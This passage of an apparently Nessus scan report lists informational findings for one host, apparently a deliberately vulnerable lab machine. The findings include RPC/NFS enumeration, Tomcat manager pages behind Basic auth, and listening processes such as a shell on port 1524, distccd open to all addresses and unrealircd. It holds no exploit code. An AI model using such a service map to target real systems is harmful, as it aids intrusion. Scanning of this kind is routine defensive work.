           83 6A 53 4A 9C 27 CB A0 B4 E9 8D 29 0C B2 3C 18 5C 67 CC 53
           A6 1E 30 D0 AA 26 7B 1E AE 40 B9 29 01 6C 2E BC A2 19 94 7C
           15 6E 8D 30 38 F6 CA 2E 75


------------------------------ snip ------------ [...]
```

## 26024 - PostgreSQL Server Detection

### Synopsis

A database service is listening on the remote host.

### Description

The remote service is a PostgreSQL database server, or a derivative such as EnterpriseDB.

### See Also

https://www.postgresql.org/

### Solution

Limit incoming traffic to this port if desired.

### Risk Factor

None

### Plugin Information

Published: 2007/09/14, Modified: 2023/05/24

### Plugin Output

tcp/5432/postgresql

## 40665 - Protected Web Page Detection

### Synopsis

Some web pages require authentication.

### Description

The remote web server requires HTTP authentication for the following pages. Several authentication schemes are available :

- Basic is the simplest, but the credentials are sent in cleartext.

- NTLM provides an SSO in a Microsoft environment, but it cannot be used on both the proxy and the web server. It is also weaker than Digest.

- Digest is a cryptographically strong scheme. Credentials are never sent in cleartext, although they may still be cracked by a dictionary attack.

### Solution

n/a

### Risk Factor

None

### Plugin Information

Published: 2009/08/21, Modified: 2016/10/04

### Plugin Output

tcp/8180/www

```
The following pages are protected by the Basic authentication scheme :

/host-manager/html
/manager/html
/manager/status
```

## 22227 - RMI Registry Detection

### Synopsis

An RMI registry is listening on the remote host.

### Description

The remote host is running an RMI registry, which acts as a bootstrap naming service for registering and retrieving remote objects with simple names in the Java Remote Method Invocation (RMI) system.

### See Also

https://docs.oracle.com/javase/1.5.0/docs/guide/rmi/spec/rmiTOC.html

http://www.nessus.org/u?b6fd7659

### Solution

n/a

### Risk Factor

None

### Plugin Information

Published: 2006/08/16, Modified: 2025/03/19

### Plugin Output

tcp/1099/rmi_registry
tcp/1099/rmi_registry

```
Valid response received for port 1099:
0x00:  51 AC ED 00 05 77 0F 01 FB 87 E3 E2 00 00 01 99    Q....w..........
0x10:  77 E1 6B 03 80 02 75 72 00 13 5B 4C 6A 61 76 61    w.k...ur..[Ljava
0x20:  2E 6C 61 6E 67 2E 53 74 72 69 6E 67 3B AD D2 56    .lang.String;..V
0x30:  E7 E9 1D 7B 47 02 00 00 70 78 70 00 00 00 00       ...{G...pxp....
```

## 11111 - RPC Services Enumeration

### Synopsis

An ONC RPC service is running on the remote host.

### Description

By sending a DUMP request to the portmapper, it was possible to enumerate the ONC RPC services running on the remote port. Using this information, it is possible to connect and bind to each service by sending an RPC request to the remote port.

### Solution

n/a

### Risk Factor

None

### Plugin Information

Published: 2002/08/24, Modified: 2011/05/24

### Plugin Output

tcp/111/rpc-portmapper

```
The following RPC services are available on TCP port 111 :

 - program: 100000 (portmapper), version: 2
```

## 11111 - RPC Services Enumeration

### Synopsis

An ONC RPC service is running on the remote host.

### Description

By sending a DUMP request to the portmapper, it was possible to enumerate the ONC RPC services running on the remote port. Using this information, it is possible to connect and bind to each service by sending an RPC request to the remote port.

### Solution

n/a

### Risk Factor

None

### Plugin Information

Published: 2002/08/24, Modified: 2011/05/24

### Plugin Output

udp/111/rpc-portmapper

```

The following RPC services are available on UDP port 111 :

 - program: 100000 (portmapper), version: 2

```

## 11111 - RPC Services Enumeration

### Synopsis

An ONC RPC service is running on the remote host.

### Description

By sending a DUMP request to the portmapper, it was possible to enumerate the ONC RPC services running on the remote port. Using this information, it is possible to connect and bind to each service by sending an RPC request to the remote port.

### Solution

n/a

### Risk Factor

None

### Plugin Information

Published: 2002/08/24, Modified: 2011/05/24

### Plugin Output

tcp/2049/rpc-nfs

```
The following RPC services are available on TCP port 2049 :

 - program: 100003 (nfs), version: 2
 - program: 100003 (nfs), version: 3
 - program: 100003 (nfs), version: 4
```

## 11111 - RPC Services Enumeration

### Synopsis

An ONC RPC service is running on the remote host.

### Description

By sending a DUMP request to the portmapper, it was possible to enumerate the ONC RPC services running on the remote port. Using this information, it is possible to connect and bind to each service by sending an RPC request to the remote port.

### Solution

n/a

### Risk Factor

None

### Plugin Information

Published: 2002/08/24, Modified: 2011/05/24

### Plugin Output

udp/2049/rpc-nfs

```

The following RPC services are available on UDP port 2049 :

 - program: 100003 (nfs), version: 2
 - program: 100003 (nfs), version: 3
 - program: 100003 (nfs), version: 4
```

## 11111 - RPC Services Enumeration

### Synopsis

An ONC RPC service is running on the remote host.

### Description

By sending a DUMP request to the portmapper, it was possible to enumerate the ONC RPC services running on the remote port. Using this information, it is possible to connect and bind to each service by sending an RPC request to the remote port.

### Solution

n/a

### Risk Factor

None

### Plugin Information

Published: 2002/08/24, Modified: 2011/05/24

### Plugin Output

tcp/36346/rpc-mountd

```
The following RPC services are available on TCP port 36346 :

 - program: 100005 (mountd), version: 1
 - program: 100005 (mountd), version: 2
 - program: 100005 (mountd), version: 3
```

## 11111 - RPC Services Enumeration

### Synopsis

An ONC RPC service is running on the remote host.

### Description

By sending a DUMP request to the portmapper, it was possible to enumerate the ONC RPC services running on the remote port. Using this information, it is possible to connect and bind to each service by sending an RPC request to the remote port.

### Solution

n/a

### Risk Factor

None

### Plugin Information

Published: 2002/08/24, Modified: 2011/05/24

### Plugin Output

udp/40020/rpc-mountd

```

The following RPC services are available on UDP port 40020 :

 - program: 100005 (mountd), version: 1
 - program: 100005 (mountd), version: 2
 - program: 100005 (mountd), version: 3
```

## 11111 - RPC Services Enumeration

### Synopsis

An ONC RPC service is running on the remote host.

### Description

By sending a DUMP request to the portmapper, it was possible to enumerate the ONC RPC services running on the remote port. Using this information, it is possible to connect and bind to each service by sending an RPC request to the remote port.

### Solution

n/a

### Risk Factor

None

### Plugin Information

Published: 2002/08/24, Modified: 2011/05/24

### Plugin Output

tcp/49280/rpc-nlockmgr

```

The following RPC services are available on TCP port 49280 :

 - program: 100021 (nlockmgr), version: 1
 - program: 100021 (nlockmgr), version: 3
 - program: 100021 (nlockmgr), version: 4
```

## 11111 - RPC Services Enumeration

### Synopsis

An ONC RPC service is running on the remote host.

### Description

By sending a DUMP request to the portmapper, it was possible to enumerate the ONC RPC services running on the remote port. Using this information, it is possible to connect and bind to each service by sending an RPC request to the remote port.

### Solution

n/a

### Risk Factor

None

### Plugin Information

Published: 2002/08/24, Modified: 2011/05/24

### Plugin Output

udp/50898/rpc-nlockmgr

```

The following RPC services are available on UDP port 50898 :

 - program: 100021 (nlockmgr), version: 1
 - program: 100021 (nlockmgr), version: 3
 - program: 100021 (nlockmgr), version: 4
```

## 11111 - RPC Services Enumeration

### Synopsis

An ONC RPC service is running on the remote host.

### Description

By sending a DUMP request to the portmapper, it was possible to enumerate the ONC RPC services running on the remote port. Using this information, it is possible to connect and bind to each service by sending an RPC request to the remote port.

### Solution

n/a

### Risk Factor

None

### Plugin Information

Published: 2002/08/24, Modified: 2011/05/24

### Plugin Output

udp/53547/rpc-status

```

The following RPC services are available on UDP port 53547 :

 - program: 100024 (status), version: 1
```

## 11111 - RPC Services Enumeration

### Synopsis

An ONC RPC service is running on the remote host.

### Description

By sending a DUMP request to the portmapper, it was possible to enumerate the ONC RPC services running on the remote port. Using this information, it is possible to connect and bind to each service by sending an RPC request to the remote port.

### Solution

n/a

### Risk Factor

None

### Plugin Information

Published: 2002/08/24, Modified: 2011/05/24

### Plugin Output

tcp/56838/rpc-status

```

The following RPC services are available on TCP port 56838 :

 - program: 100024 (status), version: 1
```

## 53335 - RPC portmapper (TCP)

### Synopsis

An ONC RPC portmapper is running on the remote host.

### Description

The RPC portmapper is running on this port.

The portmapper allows someone to get the port number of each RPC service running on the remote host by sending either multiple lookup requests or a DUMP request.

### Solution

n/a

### Risk Factor

None

### Plugin Information

Published: 2011/04/08, Modified: 2011/08/29

### Plugin Output

tcp/111/rpc-portmapper

## 10223 - RPC portmapper Service Detection

### Synopsis

An ONC RPC portmapper is running on the remote host.

### Description

The RPC portmapper is running on this port.

The portmapper allows someone to get the port number of each RPC service running on the remote host by sending either multiple lookup requests or a DUMP request.

### Solution

n/a

### Risk Factor

None

### CVSS v3.0 Base Score

0.0 (CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:N)

### CVSS v2.0 Base Score

0.0 (CVSS2#AV:N/AC:L/Au:N/C:N/I:N/A:N)

### References

| | |
|---|---|
| CVE | CVE-1999-0632 |

### Plugin Information

Published: 1999/08/19, Modified: 2019/10/04

### Plugin Output

udp/111/rpc-portmapper

## 25221 - Remote listeners enumeration (Linux / AIX)

### Synopsis

Using the supplied credentials, it was possible to identify the process listening on the remote port.

### Description

By logging into the remote host with the supplied credentials, Nessus was able to obtain the name of the process listening on the remote port.

Note that the method used by this plugin only works for hosts running Linux or AIX.

### Solution

n/a

### Risk Factor

None

### Plugin Information

Published: 2007/05/16, Modified: 2024/07/05

### Plugin Output

tcp/21/ftp

```
Process ID   : 4431
Executable   : /usr/sbin/xinetd
Command line : /usr/sbin/xinetd -pidfile /var/run/xinetd.pid -stayalive -inetd_compat
```

## 25221 - Remote listeners enumeration (Linux / AIX)

### Synopsis

Using the supplied credentials, it was possible to identify the process listening on the remote port.

### Description

By logging into the remote host with the supplied credentials, Nessus was able to obtain the name of the process listening on the remote port.

Note that the method used by this plugin only works for hosts running Linux or AIX.

### Solution

n/a

### Risk Factor

None

### Plugin Information

Published: 2007/05/16, Modified: 2024/07/05

### Plugin Output

tcp/22/ssh

```
Process ID   : 4054
Executable   : /usr/sbin/sshd
Command line : /usr/sbin/sshd
```

## 25221 - Remote listeners enumeration (Linux / AIX)

### Synopsis

Using the supplied credentials, it was possible to identify the process listening on the remote port.

### Description

By logging into the remote host with the supplied credentials, Nessus was able to obtain the name of the process listening on the remote port.

Note that the method used by this plugin only works for hosts running Linux or AIX.

### Solution

n/a

### Risk Factor

None

### Plugin Information

Published: 2007/05/16, Modified: 2024/07/05

### Plugin Output

tcp/23/telnet

```
  Process ID   : 4431
  Executable   : /usr/sbin/xinetd
  Command line : /usr/sbin/xinetd -pidfile /var/run/xinetd.pid -stayalive -inetd_compat
```

## 25221 - Remote listeners enumeration (Linux / AIX)

### Synopsis

Using the supplied credentials, it was possible to identify the process listening on the remote port.

### Description

By logging into the remote host with the supplied credentials, Nessus was able to obtain the name of the process listening on the remote port.

Note that the method used by this plugin only works for hosts running Linux or AIX.

### Solution

n/a

### Risk Factor

None

### Plugin Information

Published: 2007/05/16, Modified: 2024/07/05

### Plugin Output

tcp/25/smtp

```
  Process ID   : 4406
  Executable   : /usr/lib/postfix/master
  Command line : /usr/lib/postfix/master
```

## 25221 - Remote listeners enumeration (Linux / AIX)

### Synopsis

Using the supplied credentials, it was possible to identify the process listening on the remote port.

### Description

By logging into the remote host with the supplied credentials, Nessus was able to obtain the name of the process listening on the remote port.

Note that the method used by this plugin only works for hosts running Linux or AIX.

### Solution

n/a

### Risk Factor

None

### Plugin Information

Published: 2007/05/16, Modified: 2024/07/05

### Plugin Output

tcp/53/dns

```
  Process ID   : 4032
  Executable   : /usr/sbin/named
  Command line : /usr/sbin/named -u bind
```

## 25221 - Remote listeners enumeration (Linux / AIX)

### Synopsis

Using the supplied credentials, it was possible to identify the process listening on the remote port.

### Description

By logging into the remote host with the supplied credentials, Nessus was able to obtain the name of the process listening on the remote port.

Note that the method used by this plugin only works for hosts running Linux or AIX.

### Solution

n/a

### Risk Factor

None

### Plugin Information

Published: 2007/05/16, Modified: 2024/07/05

### Plugin Output

udp/53/dns

```
  Process ID   : 4032
  Executable   : /usr/sbin/named
  Command line : /usr/sbin/named -u bind
```

## 25221 - Remote listeners enumeration (Linux / AIX)

### Synopsis

Using the supplied credentials, it was possible to identify the process listening on the remote port.

### Description

By logging into the remote host with the supplied credentials, Nessus was able to obtain the name of the process listening on the remote port.

Note that the method used by this plugin only works for hosts running Linux or AIX.

### Solution

n/a

### Risk Factor

None

### Plugin Information

Published: 2007/05/16, Modified: 2024/07/05

### Plugin Output

udp/69/tftp

```

  Process ID   : 4431
  Executable   : /usr/sbin/xinetd
  Command line : /usr/sbin/xinetd -pidfile /var/run/xinetd.pid -stayalive -inetd_compat
```

## 25221 - Remote listeners enumeration (Linux / AIX)

### Synopsis

Using the supplied credentials, it was possible to identify the process listening on the remote port.

### Description

By logging into the remote host with the supplied credentials, Nessus was able to obtain the name of the process listening on the remote port.

Note that the method used by this plugin only works for hosts running Linux or AIX.

### Solution

n/a

### Risk Factor

None

### Plugin Information

Published: 2007/05/16, Modified: 2024/07/05

### Plugin Output

tcp/80/www

```
Process ID   : 4547
Executable   : /usr/sbin/apache2
Command line : /usr/sbin/apache2 -k start
```

## 25221 - Remote listeners enumeration (Linux / AIX)

### Synopsis

Using the supplied credentials, it was possible to identify the process listening on the remote port.

### Description

By logging into the remote host with the supplied credentials, Nessus was able to obtain the name of the process listening on the remote port.

Note that the method used by this plugin only works for hosts running Linux or AIX.

### Solution

n/a

### Risk Factor

None

### Plugin Information

Published: 2007/05/16, Modified: 2024/07/05

### Plugin Output

tcp/111/rpc-portmapper

```
Process ID   : 3659
Executable   : /sbin/portmap
Command line : /sbin/portmap
```

## 25221 - Remote listeners enumeration (Linux / AIX)

### Synopsis

Using the supplied credentials, it was possible to identify the process listening on the remote port.

### Description

By logging into the remote host with the supplied credentials, Nessus was able to obtain the name of the process listening on the remote port.

Note that the method used by this plugin only works for hosts running Linux or AIX.

### Solution

n/a

### Risk Factor

None

### Plugin Information

Published: 2007/05/16, Modified: 2024/07/05

### Plugin Output

udp/111/rpc-portmapper

```
  Process ID   : 3659
  Executable   : /sbin/portmap
  Command line : /sbin/portmap
```

## 25221 - Remote listeners enumeration (Linux / AIX)

### Synopsis

Using the supplied credentials, it was possible to identify the process listening on the remote port.

### Description

By logging into the remote host with the supplied credentials, Nessus was able to obtain the name of the process listening on the remote port.

Note that the method used by this plugin only works for hosts running Linux or AIX.

### Solution

n/a

### Risk Factor

None

### Plugin Information

Published: 2007/05/16, Modified: 2024/07/05

### Plugin Output

udp/137/netbios-ns

```

  Process ID   : 4413
  Executable   : /usr/sbin/nmbd
  Command line : /usr/sbin/nmbd -D
```

## 25221 - Remote listeners enumeration (Linux / AIX)

### Synopsis

Using the supplied credentials, it was possible to identify the process listening on the remote port.

### Description

By logging into the remote host with the supplied credentials, Nessus was able to obtain the name of the process listening on the remote port.

Note that the method used by this plugin only works for hosts running Linux or AIX.

### Solution

n/a

### Risk Factor

None

### Plugin Information

Published: 2007/05/16, Modified: 2024/07/05

### Plugin Output

udp/138

```
  Process ID   : 4413
  Executable   : /usr/sbin/nmbd
  Command line : /usr/sbin/nmbd -D
```

## 25221 - Remote listeners enumeration (Linux / AIX)

### Synopsis

Using the supplied credentials, it was possible to identify the process listening on the remote port.

### Description

By logging into the remote host with the supplied credentials, Nessus was able to obtain the name of the process listening on the remote port.

Note that the method used by this plugin only works for hosts running Linux or AIX.

### Solution

n/a

### Risk Factor

None

### Plugin Information

Published: 2007/05/16, Modified: 2024/07/05

### Plugin Output

tcp/139/smb

```
  Process ID   : 4415
  Executable   : /usr/sbin/smbd
  Command line : /usr/sbin/smbd -D
```

## 25221 - Remote listeners enumeration (Linux / AIX)

### Synopsis

Using the supplied credentials, it was possible to identify the process listening on the remote port.

### Description

By logging into the remote host with the supplied credentials, Nessus was able to obtain the name of the process listening on the remote port.

Note that the method used by this plugin only works for hosts running Linux or AIX.

### Solution

n/a

### Risk Factor

None

### Plugin Information

Published: 2007/05/16, Modified: 2024/07/05

### Plugin Output

tcp/445/cifs

```
Process ID   : 4415
Executable   : /usr/sbin/smbd
Command line : /usr/sbin/smbd -D
```

## 25221 - Remote listeners enumeration (Linux / AIX)

### Synopsis

Using the supplied credentials, it was possible to identify the process listening on the remote port.

### Description

By logging into the remote host with the supplied credentials, Nessus was able to obtain the name of the process listening on the remote port.

Note that the method used by this plugin only works for hosts running Linux or AIX.

### Solution

n/a

### Risk Factor

None

### Plugin Information

Published: 2007/05/16, Modified: 2024/07/05

### Plugin Output

tcp/512

```
Process ID   : 4431
Executable   : /usr/sbin/xinetd
Command line : /usr/sbin/xinetd -pidfile /var/run/xinetd.pid -stayalive -inetd_compat
```

## 25221 - Remote listeners enumeration (Linux / AIX)

### Synopsis

Using the supplied credentials, it was possible to identify the process listening on the remote port.

### Description

By logging into the remote host with the supplied credentials, Nessus was able to obtain the name of the process listening on the remote port.

Note that the method used by this plugin only works for hosts running Linux or AIX.

### Solution

n/a

### Risk Factor

None

### Plugin Information

Published: 2007/05/16, Modified: 2024/07/05

### Plugin Output

tcp/513

```
  Process ID   : 4431
  Executable   : /usr/sbin/xinetd
  Command line : /usr/sbin/xinetd -pidfile /var/run/xinetd.pid -stayalive -inetd_compat
```

## 25221 - Remote listeners enumeration (Linux / AIX)

### Synopsis

Using the supplied credentials, it was possible to identify the process listening on the remote port.

### Description

By logging into the remote host with the supplied credentials, Nessus was able to obtain the name of the process listening on the remote port.

Note that the method used by this plugin only works for hosts running Linux or AIX.

### Solution

n/a

### Risk Factor

None

### Plugin Information

Published: 2007/05/16, Modified: 2024/07/05

### Plugin Output

tcp/514

```
  Process ID   : 4431
  Executable   : /usr/sbin/xinetd
  Command line : /usr/sbin/xinetd -pidfile /var/run/xinetd.pid -stayalive -inetd_compat
```

## 25221 - Remote listeners enumeration (Linux / AIX)

### Synopsis

Using the supplied credentials, it was possible to identify the process listening on the remote port.

### Description

By logging into the remote host with the supplied credentials, Nessus was able to obtain the name of the process listening on the remote port.

Note that the method used by this plugin only works for hosts running Linux or AIX.

### Solution

n/a

### Risk Factor

None

### Plugin Information

Published: 2007/05/16, Modified: 2024/07/05

### Plugin Output

udp/883

```
Process ID   : 3675
Executable   : /sbin/rpc.statd
Command line : /sbin/rpc.statd
```

## 25221 - Remote listeners enumeration (Linux / AIX)

### Synopsis

Using the supplied credentials, it was possible to identify the process listening on the remote port.

### Description

By logging into the remote host with the supplied credentials, Nessus was able to obtain the name of the process listening on the remote port.

Note that the method used by this plugin only works for hosts running Linux or AIX.

### Solution

n/a

### Risk Factor

None

### Plugin Information

Published: 2007/05/16, Modified: 2024/07/05

### Plugin Output

tcp/1099/rmi_registry

```
Process ID   : 4566
Executable   : /usr/bin/grmiregistry-4.2
Command line : /usr/bin/rmiregistry
```

## 25221 - Remote listeners enumeration (Linux / AIX)

### Synopsis

Using the supplied credentials, it was possible to identify the process listening on the remote port.

### Description

By logging into the remote host with the supplied credentials, Nessus was able to obtain the name of the process listening on the remote port.

Note that the method used by this plugin only works for hosts running Linux or AIX.

### Solution

n/a

### Risk Factor

None

### Plugin Information

Published: 2007/05/16, Modified: 2024/07/05

### Plugin Output

tcp/1524/wild_shell

```
  Process ID   : 4431
  Executable   : /usr/sbin/xinetd
  Command line : /usr/sbin/xinetd -pidfile /var/run/xinetd.pid -stayalive -inetd_compat
```

## 25221 - Remote listeners enumeration (Linux / AIX)

### Synopsis

Using the supplied credentials, it was possible to identify the process listening on the remote port.

### Description

By logging into the remote host with the supplied credentials, Nessus was able to obtain the name of the process listening on the remote port.

Note that the method used by this plugin only works for hosts running Linux or AIX.

### Solution

n/a

### Risk Factor

None

### Plugin Information

Published: 2007/05/16, Modified: 2024/07/05

### Plugin Output

tcp/2121

```
  Process ID   : 4473
  Executable   : /usr/sbin/proftpd
  Command line : proftpd: (accepting connections)
```

## 25221 - Remote listeners enumeration (Linux / AIX)

### Synopsis

Using the supplied credentials, it was possible to identify the process listening on the remote port.

### Description

By logging into the remote host with the supplied credentials, Nessus was able to obtain the name of the process listening on the remote port.

Note that the method used by this plugin only works for hosts running Linux or AIX.

### Solution

n/a

### Risk Factor

None

### Plugin Information

Published: 2007/05/16, Modified: 2024/07/05

### Plugin Output

tcp/3306/mysql

```
  Process ID   : 4172
  Executable   : /usr/sbin/mysqld
  Command line : /usr/sbin/mysqld --basedir=/usr --datadir=/var/lib/mysql --user=mysql --pid-file=/
var/run/mysqld/mysqld.pid --skip-external-locking --port=3306 --socket=/var/run/mysqld/mysqld.sock
```

## 25221 - Remote listeners enumeration (Linux / AIX)

### Synopsis

Using the supplied credentials, it was possible to identify the process listening on the remote port.

### Description

By logging into the remote host with the supplied credentials, Nessus was able to obtain the name of the process listening on the remote port.

Note that the method used by this plugin only works for hosts running Linux or AIX.

### Solution

n/a

### Risk Factor

None

### Plugin Information

Published: 2007/05/16, Modified: 2024/07/05

### Plugin Output

tcp/3632

```
Process ID   : 4277
Executable   : /usr/bin/distccd
Command line : distccd --daemon --user daemon --allow 0.0.0.0/0
```

## 25221 - Remote listeners enumeration (Linux / AIX)

### Synopsis

Using the supplied credentials, it was possible to identify the process listening on the remote port.

### Description

By logging into the remote host with the supplied credentials, Nessus was able to obtain the name of the process listening on the remote port.

Note that the method used by this plugin only works for hosts running Linux or AIX.

### Solution

n/a

### Risk Factor

None

### Plugin Information

Published: 2007/05/16, Modified: 2024/07/05

### Plugin Output

tcp/5432/postgresql

```
 Process ID   : 4251
 Executable   : /usr/lib/postgresql/8.3/bin/postgres
 Command line : /usr/lib/postgresql/8.3/bin/postgres -D /var/lib/postgresql/8.3/main -c
config_file=/etc/postgresql/8.3/main/postgresql.conf
```

## 25221 - Remote listeners enumeration (Linux / AIX)

### Synopsis

Using the supplied credentials, it was possible to identify the process listening on the remote port.

### Description

By logging into the remote host with the supplied credentials, Nessus was able to obtain the name of the process listening on the remote port.

Note that the method used by this plugin only works for hosts running Linux or AIX.

### Solution

n/a

### Risk Factor

None

### Plugin Information

Published: 2007/05/16, Modified: 2024/07/05

### Plugin Output

tcp/5900/vnc

```
  Process ID   : 4586
  Executable   : /usr/bin/Xtightvnc
  Command line : Xtightvnc :0 -desktop X -auth /root/.Xauthority -geometry 1024x768 -depth 24 -
rfbwait 120000 -rfbauth /root/.vnc/passwd -rfbport 5900 -fp /usr/X11R6/lib/X11/fonts/Type1/,/usr/
X11R6/lib/X11/fonts/Speedo/,/usr/X11R6/lib/X11/fonts/misc/,/usr/X11R6/lib/X11/fonts/75dpi/,/usr/
X11R6/lib/X11/fonts/100dpi/,/usr/share/fonts/X11/misc/,/usr/share/fonts/X11/Type1/,/usr/share/fonts/
X11/75dpi/,/usr/share/fonts/X11/100dpi/ -co /etc/X11/rgb
```

## 25221 - Remote listeners enumeration (Linux / AIX)

### Synopsis

Using the supplied credentials, it was possible to identify the process listening on the remote port.

### Description

By logging into the remote host with the supplied credentials, Nessus was able to obtain the name of the process listening on the remote port.

Note that the method used by this plugin only works for hosts running Linux or AIX.

### Solution

n/a

### Risk Factor

None

### Plugin Information

Published: 2007/05/16, Modified: 2024/07/05

### Plugin Output

tcp/6000/x11

```

  Process ID   : 4586
  Executable   : /usr/bin/Xtightvnc
  Command line : Xtightvnc :0 -desktop X -auth /root/.Xauthority -geometry 1024x768 -depth 24 -
rfbwait 120000 -rfbauth /root/.vnc/passwd -rfbport 5900 -fp /usr/X11R6/lib/X11/fonts/Type1/,/usr/
X11R6/lib/X11/fonts/Speedo/,/usr/X11R6/lib/X11/fonts/misc/,/usr/X11R6/lib/X11/fonts/75dpi/,/usr/
X11R6/lib/X11/fonts/100dpi/,/usr/share/fonts/X11/misc/,/usr/share/fonts/X11/Type1/,/usr/share/fonts/
X11/75dpi/,/usr/share/fonts/X11/100dpi/ -co /etc/X11/rgb
```

## 25221 - Remote listeners enumeration (Linux / AIX)

### Synopsis

Using the supplied credentials, it was possible to identify the process listening on the remote port.

### Description

By logging into the remote host with the supplied credentials, Nessus was able to obtain the name of the process listening on the remote port.

Note that the method used by this plugin only works for hosts running Linux or AIX.

### Solution

n/a

### Risk Factor

None

### Plugin Information

Published: 2007/05/16, Modified: 2024/07/05

### Plugin Output

tcp/6667/irc

```
Process ID   : 4577
Executable   : /usr/bin/unrealircd
Command line : /usr/bin/unrealircd
```

## 25221 - Remote listeners enumeration (Linux / AIX)

### Synopsis

Using the supplied credentials, it was possible to identify the process listening on the remote port.

### Description

By logging into the remote host with the supplied credentials, Nessus was able to obtain the name of the process listening on the remote port.

Note that the method used by this plugin only works for hosts running Linux or AIX.

### Solution

n/a

### Risk Factor

None

### Plugin Information

Published: 2007/05/16, Modified: 2024/07/05

### Plugin Output

tcp/6697/irc

```
Process ID   : 4577
Executable   : /usr/bin/unrealircd
Command line : /usr/bin/unrealircd
```

# 25221 - Remote listeners enumeration (Linux / AIX)

## Synopsis

Using the supplied credentials, it was possible to identify the process listening on the remote port.

## Description

By logging into the remote host with the supplied credentials, Nessus was able to obtain the name of the process listening on the remote port.

Note that the method used by this plugin only works for hosts running Linux or AIX.

## Solution

n/a

## Risk Factor

None

## Plugin Information

Published: 2007/05/16, Modified: 2024/07/05

## Plugin Output

tcp/8009/ajp13

```
  Process ID   : 4529
  Executable   : /usr/bin/jsvc
  Command line : /usr/bin/jsvc -user tomcat55 -cp /usr/share/java/commons-daemon.jar:/usr/share/
tomcat5.5/bin/bootstrap.jar -outfile SYSLOG -errfile SYSLOG -pidfile /var/run/tomcat5.5.pid
 -Djava.awt.headless=true -Xmx128M -Djava.endorsed.dirs=/usr/share/tomcat5.5/common/endorsed
 -Dcatalina.base=/var/lib/tomcat5.5 -Dcatalina.home=/usr/share/tomcat5.5 -Djava.io.tmpdir=/
var/lib/tomcat5.5/temp -Djava.security.manager -Djava.security.policy=/var/lib/tomcat5.5/conf/
catalina.policy org.apache.catalina.startup.Bootstrap
```

## 25221 - Remote listeners enumeration (Linux / AIX)

### Synopsis

Using the supplied credentials, it was possible to identify the process listening on the remote port.

### Description

By logging into the remote host with the supplied credentials, Nessus was able to obtain the name of the process listening on the remote port.

Note that the method used by this plugin only works for hosts running Linux or AIX.

### Solution

n/a

### Risk Factor

None

### Plugin Information

Published: 2007/05/16, Modified: 2024/07/05

### Plugin Output

tcp/8180/www

```
  Process ID   : 4529
  Executable   : /usr/bin/jsvc
  Command line : /usr/bin/jsvc -user tomcat55 -cp /usr/share/java/commons-daemon.jar:/usr/share/
tomcat5.5/bin/bootstrap.jar -outfile SYSLOG -errfile SYSLOG -pidfile /var/run/tomcat5.5.pid
 -Djava.awt.headless=true -Xmx128M -Djava.endorsed.dirs=/usr/share/tomcat5.5/common/endorsed
 -Dcatalina.base=/var/lib/tomcat5.5 -Dcatalina.home=/usr/share/tomcat5.5 -Djava.io.tmpdir=/
var/lib/tomcat5.5/temp -Djava.security.manager -Djava.security.policy=/var/lib/tomcat5.5/conf/
catalina.policy org.apache.catalina.startup.Bootstrap
```

## 25221 - Remote listeners enumeration (Linux / AIX)

### Synopsis

Using the supplied credentials, it was possible to identify the process listening on the remote port.

### Description

By logging into the remote host with the supplied credentials, Nessus was able to obtain the name of the process listening on the remote port.

Note that the method used by this plugin only works for hosts running Linux or AIX.

### Solution

n/a

### Risk Factor

None

### Plugin Information

Published: 2007/05/16, Modified: 2024/07/05

### Plugin Output

tcp/8787

```
Process ID   : 4570
Executable   : /usr/bin/ruby1.8
Command line : ruby /usr/sbin/druby_timeserver.rb
```

## 25221 - Remote listeners enumeration (Linux / AIX)

### Synopsis

Using the supplied credentials, it was possible to identify the process listening on the remote port.

### Description

By logging into the remote host with the supplied credentials, Nessus was able to obtain the name of the process listening on the remote port.

Note that the method used by this plugin only works for hosts running Linux or AIX.

### Solution

n/a

### Risk Factor

None

### Plugin Information

Published: 2007/05/16, Modified: 2024/07/05

### Plugin Output

tcp/36346/rpc-mountd

```
Process ID   : 4340
Executable   : /usr/sbin/rpc.mountd
Command line : /usr/sbin/rpc.mountd
```

## 25221 - Remote listeners enumeration (Linux / AIX)

### Synopsis

Using the supplied credentials, it was possible to identify the process listening on the remote port.

### Description

By logging into the remote host with the supplied credentials, Nessus was able to obtain the name of the process listening on the remote port.

Note that the method used by this plugin only works for hosts running Linux or AIX.

### Solution

n/a

### Risk Factor

None

### Plugin Information

Published: 2007/05/16, Modified: 2024/07/05

### Plugin Output

udp/38000

```
  Process ID   : 4032
  Executable   : /usr/sbin/named
  Command line : /usr/sbin/named -u bind
```

## 25221 - Remote listeners enumeration (Linux / AIX)

### Synopsis

Using the supplied credentials, it was possible to identify the process listening on the remote port.

### Description

By logging into the remote host with the supplied credentials, Nessus was able to obtain the name of the process listening on the remote port.

Note that the method used by this plugin only works for hosts running Linux or AIX.

### Solution

n/a

### Risk Factor

None

### Plugin Information

Published: 2007/05/16, Modified: 2024/07/05

### Plugin Output

udp/40020/rpc-mountd

```
  Process ID   : 4340
  Executable   : /usr/sbin/rpc.mountd
  Command line : /usr/sbin/rpc.mountd
```

## 25221 - Remote listeners enumeration (Linux / AIX)

### Synopsis

Using the supplied credentials, it was possible to identify the process listening on the remote port.

### Description

By logging into the remote host with the supplied credentials, Nessus was able to obtain the name of the process listening on the remote port.

Note that the method used by this plugin only works for hosts running Linux or AIX.

### Solution

n/a

### Risk Factor

None

### Plugin Information

Published: 2007/05/16, Modified: 2024/07/05

### Plugin Output

udp/53077

```
  Process ID   : 4032
  Executable   : /usr/sbin/named
  Command line : /usr/sbin/named -u bind
```

## 25221 - Remote listeners enumeration (Linux / AIX)

### Synopsis

Using the supplied credentials, it was possible to identify the process listening on the remote port.

### Description

By logging into the remote host with the supplied credentials, Nessus was able to obtain the name of the process listening on the remote port.

Note that the method used by this plugin only works for hosts running Linux or AIX.

### Solution

n/a

### Risk Factor

None

### Plugin Information

Published: 2007/05/16, Modified: 2024/07/05

### Plugin Output

udp/53547/rpc-status

```
Process ID   : 3675
Executable   : /sbin/rpc.statd
Command line : /sbin/rpc.statd
```

## 25221 - Remote listeners enumeration (Linux / AIX)

### Synopsis

Using the supplied credentials, it was possible to identify the process listening on the remote port.

### Description

By logging into the remote host with the supplied credentials, Nessus was able to obtain the name of the process listening on the remote port.

Note that the method used by this plugin only works for hosts running Linux or AIX.

### Solution

n/a

### Risk Factor

None

### Plugin Information

Published: 2007/05/16, Modified: 2024/07/05

### Plugin Output

tcp/54757

```
  Process ID   : 4566
  Executable   : /usr/bin/grmiregistry-4.2
  Command line : /usr/bin/rmiregistry
```

